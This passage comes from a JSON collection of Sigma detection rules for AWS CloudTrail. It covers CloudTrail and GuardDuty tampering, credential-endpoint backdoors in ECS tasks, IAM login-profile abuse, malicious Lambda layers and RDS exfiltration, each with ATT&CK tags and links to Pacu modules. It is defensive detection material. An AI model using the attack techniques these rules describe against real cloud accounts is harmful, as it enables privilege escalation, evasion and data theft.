      "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.",
      "meta": {
        "author": "Elastic, Austin Songer @austinsonger",
        "creation_date": "2021/07/22",
        "falsepositive": [
          "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_route_53_domain_transferred_to_another_account.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_to_another_account.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.credential_access",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b",
      "value": "AWS Route 53 Domain Transferred to Another Account"
    },
    {
      "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.",
          "Automated processes that uses Terraform may lead to false positives."
        ],
        "filename": "aws_sts_assumerole_misuse.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html",
          "https://github.com/elastic/detection-rules/pull/1214",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_assumerole_misuse.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.privilege_escalation",
          "attack.t1548",
          "attack.t1550",
          "attack.t1550.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49",
      "value": "AWS STS AssumeRole Misuse"
    },
    {
      "description": "Detects the change of database master password. It may be a part of data exfiltration.",
      "meta": {
        "author": "faloker",
        "creation_date": "2020/02/12",
        "falsepositive": [
          "Benign changes to a db instance"
        ],
        "filename": "aws_rds_change_master_password.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_rds_change_master_password.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1020"
        ]
      },
      "related": [
        {
          "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2",
      "value": "AWS RDS Master Password Change"
    },
    {
      "description": "Identifies when an ElastiCache security group has been modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_elasticache_security_group_modified_or_deleted.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_elasticache_security_group_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1531"
        ]
      },
      "related": [
        {
          "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc",
      "value": "AWS ElastiCache Security Group Modified or Deleted"
    },
    {
      "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/09/22",
        "falsepositive": [
          "Automated processes that uses Terraform may lead to false positives.",
          "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_susp_saml_activity.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html",
          "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_susp_saml_activity.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1078",
          "attack.lateral_movement",
          "attack.t1548",
          "attack.privilege_escalation",
          "attack.t1550",
          "attack.t1550.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e",
      "value": "AWS Suspicious SAML Activity"
    },
    {
      "description": "Identifies when an EKS cluster is created or deleted.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "EKS Cluster being created or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_eks_cluster_created_or_deleted.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://any-api.com/amazonaws_com/eks/docs/API_Description",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_eks_cluster_created_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0",
      "value": "AWS EKS Cluster Created or Deleted"
    },
    {
      "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.",
      "meta": {
        "author": "faloker",
        "creation_date": "2020/02/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "aws_rds_public_db_restore.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_rds_public_db_restore.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1020"
        ]
      },
      "related": [
        {
          "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599",
      "value": "Restore Public AWS RDS Instance"
    },
    {
      "description": "Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of \"<YOUR-BUCKET-NAME>\".",
      "meta": {
        "author": "daniel.bohannon@permiso.io (@danielhbohannon)",
        "creation_date": "2023/05/17",
        "falsepositive": [
          "Valid usage of S3 browser with accidental creation of default Inline IAM policy without changing default S3 bucket name placeholder value"
        ],
        "filename": "aws_iam_s3browser_templated_s3_bucket_policy_creation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_templated_s3_bucket_policy_creation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.009",
          "attack.persistence",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "db014773-7375-4f4e-b83b-133337c0ffee",
      "value": "AWS IAM S3Browser Templated S3 Bucket Policy Creation"
    },
    {
      "description": "Detects disabling, deleting and updating of a Trail",
      "meta": {
        "author": "vitaliy0x1",
        "creation_date": "2020/01/21",
        "falsepositive": [
          "Valid change in a Trail"
        ],
        "filename": "aws_cloudtrail_disable_logging.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_disable_logging.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74",
      "value": "AWS CloudTrail Important Change"
    },
    {
      "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.",
      "meta": {
        "author": "faloker",
        "creation_date": "2020/02/12",
        "falsepositive": [
          "Valid changes to the startup script"
        ],
        "filename": "aws_ec2_startup_script_change.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_startup_script_change.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.t1059.003",
          "attack.t1059.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df",
      "value": "AWS EC2 Startup Shell Script Change"
    },
    {
      "description": "Looks for potential enumeration of AWS buckets via ListBuckets.",
      "meta": {
        "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io",
        "creation_date": "2023/01/06",
        "falsepositive": [
          "Administrators listing buckets, it may be necessary to filter out users who commonly conduct this activity."
        ],
        "filename": "aws_enum_buckets.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://securitycafe.ro/2022/12/14/aws-enumeration-part-ii-practical-enumeration/",
          "https://github.com/Lifka/hacking-resources/blob/c2ae355d381bd0c9f0b32c4ead049f44e5b1573f/cloud-hacking-cheat-sheets.md",
          "https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_enum_buckets.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1580"
        ]
      },
      "related": [
        {
          "dest-uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f305fd62-beca-47da-ad95-7690a0620084",
      "value": "Potential Bucket Enumeration on AWS"
    },
    {
      "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n",
      "meta": {
        "author": "toffeebr33k",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "Legit User Account Administration"
        ],
        "filename": "aws_update_login_profile.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_update_login_profile.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "055fb148-60f8-462d-ad16-26926ce050f1",
      "value": "AWS User Login Profile Was Modified"
    },
    {
      "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.",
      "meta": {
        "author": "Diogo Braz",
        "creation_date": "2020/04/16",
        "falsepositive": "No established falsepositives",
        "filename": "aws_ec2_vm_export_failure.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_vm_export_failure.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1005",
          "attack.exfiltration",
          "attack.t1537"
        ]
      },
      "related": [
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b",
      "value": "AWS EC2 VM Export Failure"
    },
    {
      "description": "Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider.\nA change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.\n",
      "meta": {
        "author": "Michael McIntyre @wtfender",
        "creation_date": "2023/09/27",
        "falsepositive": [
          "Authorized changes to the AWS account's identity provider"
        ],
        "filename": "aws_sso_idp_change.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/singlesignon/latest/userguide/app-enablement.html",
          "https://docs.aws.amazon.com/singlesignon/latest/userguide/sso-info-in-cloudtrail.html",
          "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sso_idp_change.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1556"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d3adb3ef-b7e7-4003-9092-1924c797db35",
      "value": "AWS Identity Center Identity Provider Change"
    },
    {
      "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_sts_getsessiontoken_misuse.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/elastic/detection-rules/pull/1213",
          "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_getsessiontoken_misuse.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.privilege_escalation",
          "attack.t1548",
          "attack.t1550",
          "attack.t1550.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b45ab1d2-712f-4f01-a751-df3826969807",
      "value": "AWS STS GetSessionToken Misuse"
    },
    {
      "description": "Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint.\nThis can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.\n",
      "meta": {
        "author": "Darin Smith",
        "creation_date": "2022/06/07",
        "falsepositive": [
          "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons"
        ],
        "filename": "aws_ecs_task_definition_cred_endpoint_query.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html",
          "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html",
          "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ecs_task_definition_cred_endpoint_query.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1525"
        ]
      },
      "related": [
        {
          "dest-uuid": "4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad",
      "value": "AWS ECS Task Definition That Queries The Credential Endpoint"
    },
    {
      "description": "Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.",
      "meta": {
        "author": "daniel.bohannon@permiso.io (@danielhbohannon)",
        "creation_date": "2023/05/17",
        "falsepositive": [
          "Valid usage of S3 Browser for IAM LoginProfile listing and/or creation"
        ],
        "filename": "aws_iam_s3browser_loginprofile_creation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_loginprofile_creation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1059.009",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "db014773-b1d3-46bd-ba26-133337c0ffee",
      "value": "AWS IAM S3Browser LoginProfile Creation"
    },
    {
      "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.",
      "meta": {
        "author": "faloker",
        "creation_date": "2020/02/11",
        "falsepositive": [
          "Valid change in the GuardDuty (e.g. to ignore internal scanners)"
        ],
        "filename": "aws_guardduty_disruption.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_guardduty_disruption.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3",
      "value": "AWS GuardDuty Important Change"
    },
    {
      "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/09/23",
        "falsepositive": [
          "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_attached_malicious_lambda_layer.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_attached_malicious_lambda_layer.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d",
      "value": "AWS Attached Malicious Lambda Layer"
    },
    {
      "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.",
      "meta": {
        "author": "Elastic, Austin Songer @austinsonger",
        "creation_date": "2021/07/22",
        "falsepositive": [
          "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_route_53_domain_transferred_lock_disabled.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html",
          "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml",
          "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_lock_disabled.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.credential_access",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0",
      "value": "AWS Route 53 Domain Transfer Lock Disabled"
    },
    {
      "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "aws_efs_fileshare_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_efs_fileshare_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef",
      "value": "AWS EFS Fileshare Modified or Deleted"
    },
    {
      "description": "Detects possible suspicious glue development endpoint activity.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/10/03",
        "falsepositive": [
          "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_passed_role_to_glue_development_endpoint.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html",
          "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_passed_role_to_glue_development_endpoint.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26",
      "value": "AWS Glue Development Endpoint Activity"
    },
    {
      "description": "Detects AWS root account usage",
      "meta": {
        "author": "vitaliy0x1",
        "creation_date": "2020/01/21",
        "falsepositive": [
          "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html"
        ],
        "filename": "aws_root_account_usage.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_root_account_usage.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add",
      "value": "AWS Root Credentials"
    },
    {
      "description": "Detects S3 Browser utility creating IAM User or AccessKey.",
      "meta": {
        "author": "daniel.bohannon@permiso.io (@danielhbohannon)",
        "creation_date": "2023/05/17",
        "falsepositive": [
          "Valid usage of S3 Browser for IAM User and/or AccessKey creation"
        ],
        "filename": "aws_iam_s3browser_user_or_accesskey_creation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_user_or_accesskey_creation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1059.009",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "db014773-d9d9-4792-91e5-133337c0ffee",
      "value": "AWS IAM S3Browser User or AccessKey Creation"
    },
    {
      "description": "Detects AWS Config Service disabling",
      "meta": {
        "author": "vitaliy0x1",
        "creation_date": "2020/01/21",
        "falsepositive": [
          "Valid change in AWS Config Service"
        ],
        "filename": "aws_config_disable_recording.yml",
        "level": "high",
